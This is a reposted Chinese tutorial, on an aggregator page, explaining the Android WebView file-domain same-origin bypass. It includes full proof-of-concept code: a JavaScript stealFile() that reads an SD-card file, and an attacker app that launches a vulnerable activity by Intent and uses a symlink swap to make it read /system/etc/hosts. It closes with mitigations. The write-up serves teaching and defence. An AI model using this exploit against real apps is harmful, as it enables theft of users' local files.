首页 / ANDROID / Android WebView File域同源策略绕过漏洞浅析

Android WebView File域同源策略绕过漏洞浅析

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了Android WebView File域同源策略绕过漏洞浅析，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含7268字，纯文字阅读大概需要11分钟。

内容图文

0x00

我们首先讲一个webView这个方法的作用：

webView.getSettings().setAllowFileAccessFromFileURLs(false);

为了讲解这个方法，我们还是看一个实际的例子。代码地址还是参考https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。

代码如下，和Android WebView远程代码执行漏洞简析一文中的代码主要区别在于这次加载的attack_file.html。

public class MainActivity extends Activity {
	private WebView webView;
	private Uri mUri;
	private String url;
	String mUrl1 = "file:///android_asset/html/attack_file.html";
	//String mUrl2 = "file:///android_asset/html/test.html";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		webView = (WebView) findViewById(R.id.webview);
		webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
		webView.getSettings().setAllowFileAccessFromFileURLs(true);
		webView.setWebChromeClient(new WebChromeClient() {
			@Override
			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
			    //Required functionality here
			    return super.onJsAlert(view, url, message, result);
			}
		});
		webView.loadUrl(mUrl1);
	}
	
	
    class JSInterface {
        public String onButtonClick(String text) {
            final String str = text;
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Log.e("leehong2", "onButtonClick: text = " + str);
                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
                }
            });
            
            return "This text is returned from Java layer.  js text = " + text;
        }
        
        public void onImageClick(String url, int width, int height) {
            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;
            Log.i("leehong2", str);
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
                }
            });
        }
    }

}

这里webView.getSettings().setAllowFileAccessFromFileURLs(true)，标示可以通过javaScript访问file文件。

我们再来看attack_file.html的代码：

<html>
<body>
<script>
function stealFile()
{
	var file = "file:///mnt/sdcard/11.txt";
	var xmlHttpReq = new XMLHttpRequest();
	xmlHttpReq.onreadystatechange = function(){
		if(xmlHttpReq.readyState == 4){
			alert(xmlHttpReq.responseText);
		}
	}

xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();
</script>
</body>
</html>

由于setAllowFileAccessFromFileURLs为true，所以webView.load这个html可以返回/mnt/sdcard/11.txt的值。

如果setAllowFileAccessFromFileURLs为false，webView.load这个html不可以返回/mnt/sdcard/11.txt的值。

0x01

即使setAllowFileAccessFromFileURLs为false，我们通过一种方式也可以跨过这个限制，那就是Android WebView File域同源策略绕过漏洞浅析，请参考WebView File域同源策略绕过漏洞浅析。

参考的文章并没有给出可以运行的工程，这里给出，以下的讲解都来源于这两个工程：https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo1，https://github.com/jltxgcy/AppVulnerability/tree/master/AttackWebView。

首先运行WebViewFileDemo1，然后再运行AttackWebView来袭击WebView。

我们首先看WebViewFileDemo1，主要代码如下：

package com.example.webviewfiledemo;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.widget.Toast;

public class MainActivity extends Activity {
	private WebView webView;
	private Uri mUri;
	private String url;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		webView = (WebView) findViewById(R.id.webview);
		webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
		webView.getSettings().setAllowFileAccessFromFileURLs(false);
		//webView.getSettings().setAllowFileAccess(false);
		webView.setWebChromeClient(new WebChromeClient() {
			@Override
			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
			    //Required functionality here
			    return super.onJsAlert(view, url, message, result);
			}
		});
		
		Intent i = getIntent();
		if (i != null) {
			mUri = i.getData();
		}
		if (mUri != null) {
			url = mUri.toString();
		}
		if (url != null) {
			webView.loadUrl(url);
		}
	}

}

这个Activity接收来自外部的Intent，提取Intent里面的url并加载。

接着我们来看AttackWebView工程，这里就是向com.example.webviewfiledemo.MainActivity发送Intent的工程。代码如下：

public class MainActivity extends Activity {
	public final static String HTML = 
			"<body>" +
		    "<u>Wait a few seconds.</u>" + 
		    "<script>" +
		    "var d = document;"+
		    "function doitjs(){"+
		    "var xhr = new XMLHttpRequest;"+
		    "xhr.onload = function(){"+
		    "var txt = xhr.responseText;"+
		    "d.body.appendChild(d.createTextNode(txt));"+
		    "alert(txt);"+"};"+
		    "xhr.open(‘GET‘,d.URL);"+
		    "xhr.send(null);"+
		    "}"+
		    "setTimeout(doitjs,8000);"+
		    "</script>"+
		    "</body>";
	
	public static String MY_TMP_DIR;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
		doit();
	}
	
	public void doit() {
		String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
		try {
			cmdexec("mkdir " + MY_TMP_DIR);
			cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
			cmdexec("chmod -R 777 " + MY_TMP_DIR);
			Thread.sleep(1000);
			invokeVulnAPP("file://" + HTML_PATH);
			Thread.sleep(6000);
			cmdexec("rm " + HTML_PATH);
			cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
		} catch (Exception e) {
			// TODO: handle exception
		}

	}

	public void invokeVulnAPP(String url) {
		try {
			Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));
			intent.addCategory(Intent.CATEGORY_LAUNCHER); 
			intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
			startActivity(intent);
		} catch (Exception e) {
			// TODO: handle exception
		}
	}

	public void cmdexec(String cmd) {
		try {
			String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };
			Runtime.getRuntime().exec(tmp);
		} catch (Exception e) {
			// TODO: handle exception
		}
	}
	
}

通过invokeVulnAPP，打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url，Url为/sdcard/payload_odex/A0.html，webView加载了这个html，html内容如下：

	public final static String HTML = 
			"<body>" +
		    "<u>Wait a few seconds.</u>" + 
		    "<script>" +
		    "var d = document;"+
		    "function doitjs(){"+
		    "var xhr = new XMLHttpRequest;"+
		    "xhr.onload = function(){"+
		    "var txt = xhr.responseText;"+
		    "d.body.appendChild(d.createTextNode(txt));"+
		    "alert(txt);"+"};"+
		    "xhr.open(‘GET‘,d.URL);"+
		    "xhr.send(null);"+
		    "}"+
		    "setTimeout(doitjs,8000);"+
		    "</script>"+
		    "</body>";

当WebViewFileDemo1工程中webView加载A0.html后，这个html的作用是延迟8秒读取A0.html本身。我们再回到AttackWebView工程，往下看代码。

cmdexec("mkdir " + MY_TMP_DIR);
			cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
			cmdexec("chmod -R 777 " + MY_TMP_DIR);
			Thread.sleep(1000);
			invokeVulnAPP("file://" + HTML_PATH);
			Thread.sleep(6000);
			cmdexec("rm " + HTML_PATH);
			cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);

调用完invokeVulnAPP后，6秒后，我们首先把A0.html删除，然后再重新软连接到/system/etc/hosts。注意此时当WebViewFileDemo1工程中webView加载A0.html，这个html的作用是延迟8秒读取A0.html本身，所以8秒后读取的是软连接/system/etc/hosts。

结果如下：

技术分享

0x02

如何避免这种情况的发生呢？

1、webView.getSettings. setAllowFileAccess(false);

如果在WebViewFileDemo1工程中com.example.webviewfiledemo.MainActivity的onCreate方法中如果加上了上面的代码，那么运行的结果如下：

技术分享

2、webView.getSettings. setJavaScriptEnabled(false);

原文：http://blog.csdn.net/jltxgcy/article/details/50678304

内容总结

以上是互联网集市为您收集整理的Android WebView File域同源策略绕过漏洞浅析全部内容，希望文章能够帮你解决Android WebView File域同源策略绕过漏洞浅析所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/1108102.html

来源：【匿名】

【上一篇】Android自定义控件5--轮播图广告ViewPager基本实现【下一篇】如何解决android php 中文乱码问题

更多 ►

【Android WebView File域同源策略绕过漏洞浅析】教程文章相关的互联网学习教程文章

屏蔽电信流氓广告造成的诡异的问题--Android WebView 长时间不能载入页面【图】

发如今家里的时候用Android App里的WebView打开站点非常慢，会有十几秒甚至更长时间的卡住。可是在电脑上打开相同的网页却非常快。查找这个问题的过程比較曲折，记录下来。抓取Android网络数据为了调试这个问题，首先要抓取Android的网络包数据。開始时，是想用Wireshark来抓包的，可是非常麻烦，tcpdump在手机要root权限。于是转换思路，能不能在Android上设置代理，来抓包？可是fiddler没有linux版本号，于是转用BurpSuite了。设...

Android 高级UI设计笔记24：Android 夜间模式之 WebView 实现白天 / 夜间阅读模式（使用JavaScript）【代码】【图】

1. 问题引入：前面我们是使用方法降低屏幕亮度（不常用）和替换theme，两者都是针对Activity的背景进行白天、夜间模式的交换，但是如果我们显示的是Html的内容，这个时候改怎么办？分析：首先加载Html页面肯定是要用到WebView的，通过loadUrl的方法可以把html页面显示到webView，我们知道Android可以与JavaScript进行交互，就是说可以在JavaScript中调用Android的代码，也可以在Android中调用JavaScript代码。所以就有了一个思路...

android WebView 简单使用Demo【代码】【图】

activity配置文件：activity_main.xml<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal" > <EditText and...

Android-报错总结之一：WebView加载本地JS【图】

今天帮朋友做了一个apk，内容全是用html5做的，然后把整个文件夹（包括js、cs、image等等）全部一股脑的塞到assets目录下，然后在代码里通过webview调用loadUrl(“file:///android_asset/xxx.html”)，js支持也都加上了， settings.setJavaScriptEnabled(true);，本来满打满算的运行起来一点问题没有，结果报了个比较蛋疼的错，报错的内容是Cannot read property ‘giftDoctorUserInfo’ of null，直接看效果图吧：效果图2 ...

android WebView（一）基本使用【图】

WebView是Android用来加载网页的组件，如果要使用此组件加载网上页面，则需要添加网络权限： <uses-permission android:name="android.permission.INTERNET"/>WebView和其他组件一样可以在xml中布局：<WebViewandroid:id="@+id/webView"android:layout_width="fill_parent"android:layout_height="fill_parent" />也可以在代码中new出来：WebView webView=new WebView(this);加载URL的代码如下：webView.loadUrl("https://www.ba...

在Chrome调试WebView内页面（Android环境）【代码】

今天前端来问是否能在电脑上调试和查看在App的WebView中打开的页面。之前没注意这个事，大致搜索了一下，还是很简单的。基本步骤如下：1.首先，要在WebView页面打开可以debug的设置。（不过只支持KITKAT以上版本）if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {mWeb.setWebContentsDebuggingEnabled(true);} 2.手机打开usb调试，插上电脑。3.在Chrome地址栏输入：Chrome://inspect。你会看到如下界面。正常的话在App中...

解决Android使用WebView时无法输入数字和字母的问题【代码】

首先请检查你的WebView是否监听了onKey或者onKeyDown事件 protected class KeyLinstener implements OnKeyListener{@Overridepublic boolean onKey(View v, int keyCode, KeyEvent event) {if ((keyCode == KeyEvent.KEYCODE_BACK)) {if( webview.canGoBack()) {webview.goBack(); }return true; } return false;}}如果有监听，请确认返回的值。必须为false原文：http://www.cnblogs.com/duoyewu/p/4379672.html

实现android里面WebView显示内容

在日常的学习中，我们会看到手机注册的时候都要勾选协议，点击协议的时候可以查看到协议里面的所有内容！下面给大家看看实现的过程：首先贴show_xy.XML代码： <WebView android:layout_width="match_parent"android:layout_height="match_parent"android:scrollbars="none"android:id="@+id/show_xy"/> 再贴一下MainActivity代码：package com.example.marqueetest;import android.app.Activity; import android.os.Bu...

Android：控件WebView显示网页【代码】【图】

WebView可以使得网页轻松的内嵌到app里，还可以直接跟js相互调用。webview有两个方法：setWebChromeClient 和 setWebClientsetWebClient：主要处理解析，渲染网页等浏览器做的事情setWebChromeClient：辅助WebView处理Javascript的对话框，网站图标，网站title，加载进度等 WebViewClient就是帮助WebView处理各种通知、请求事件的。在AndroidManifest.xml设置访问网络权限：<uses-permission android:name="android.permission.IN...

Android WebView的使用方法总结

本文主要讲解WebView的一些常用使用方法代码如下：xml文件：<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <WebView android:id="@+id/webView1" android:layout_width="match_parent" android:l...

Android WebView 开发具体解释(二)

转载请注明出处 http://blog.csdn.net/typename/article/details/39495409 powered by miechal zhao 概览： Android WebView 做为承载网页的载体控件，他在网页显示的过程中会产生一些事件，并回调给我们的应用程序，以便我们在网页载入过程中做应用程序想处理的事情。比方说client须要显示网页载入的进度、网页载入错误发生等等事件。 WebView提供两个事件回调类给应用层，分别为WebViewClient,WebChromeClient开发人员能够继...

android WebView总结

浏览器控件是每一个开发环境都具备的，这为马甲神功提供了用武之地，windows的有webbrowser，android和ios都有webview。仅仅是其引擎不同，相对于微软的webbrowser，android及ios的webview的引擎都是webkit，对Html5提供支持。本篇主要介绍android的webview之强大。A. webview组件怎样使用 1) 加入权限：AndroidManifest.xml中必须使用许可"android.permission.INTERNET",否则会出Webpage not available错误。2) 在...

android WebView基础使用

最近做的移动APP使用到了当前快速开发的模式：混合模式开发APP。在混合模式开发APP有那个控件非常重要，它们分别是：Android的WebView和IOS端的UIWebView控件，这个两个控件是移动端去加载PC端网页的桥梁工具，也可以这样理解，它们两个就是内嵌在移动APP的自定义浏览器，相当于手机APP的浏览器功能。浏览器控件是每个开发环境都具备的，这为马甲神功提供了用武之地，windows的有webbrowser，android和ios都有webview。只是其引擎...

WebView 基本应用示例——Android 使用WebView在应用内部打开web页面

最近用到WebView 在应用内部加载URL 展示web页面，顺便贴出一个简单的示例。对于一般应用，仅用来展示web页面的话，不需要复杂的处理逻辑，但新手在做的过程或许会遇到这样的问题：（大牛可忽略了）1、调用webView.loadUrl() 方法，依然会调用系统浏览器；2、按返回键直接退出界面，而不是返回打开web网页的上一级。其实，如果只简单展示网页的话，只需一下1、给WebView 设置自己定义的 WebViewClient；2、覆盖 WebViewClient()...

Android WebView常见问题的解决方案总结----例如Web page not available

之前android虚拟机一直都可以直接联网，今天写了一个WebView之后，突然报出了Web page not available的错误，但是查看虚拟机自带的浏览器，是可以上网的，所以检查还是代码的问题，这里给大家列出一些android开发中使用WebView时需要注意的一些小细节，大家共享。1、首先是出现Web page not available的解决方案：检查AndroidManifest.xml是否添加了权限：AndroidManifest.xml中必须使用许可"android.permission.INTERNET"添加方法...

首页 / ANDROID / Android WebView File域同源策略绕过漏洞浅析

Android WebView File域同源策略绕过漏洞浅析

内容导读

内容图文

内容总结

内容备注

内容手机端

【Android WebView File域同源策略绕过漏洞浅析】教程文章相关的互联网学习教程文章

WEBVIEW - 相关标签

漏洞 - 相关标签

ANDROID - 最新教程

ANDROID - 最热教程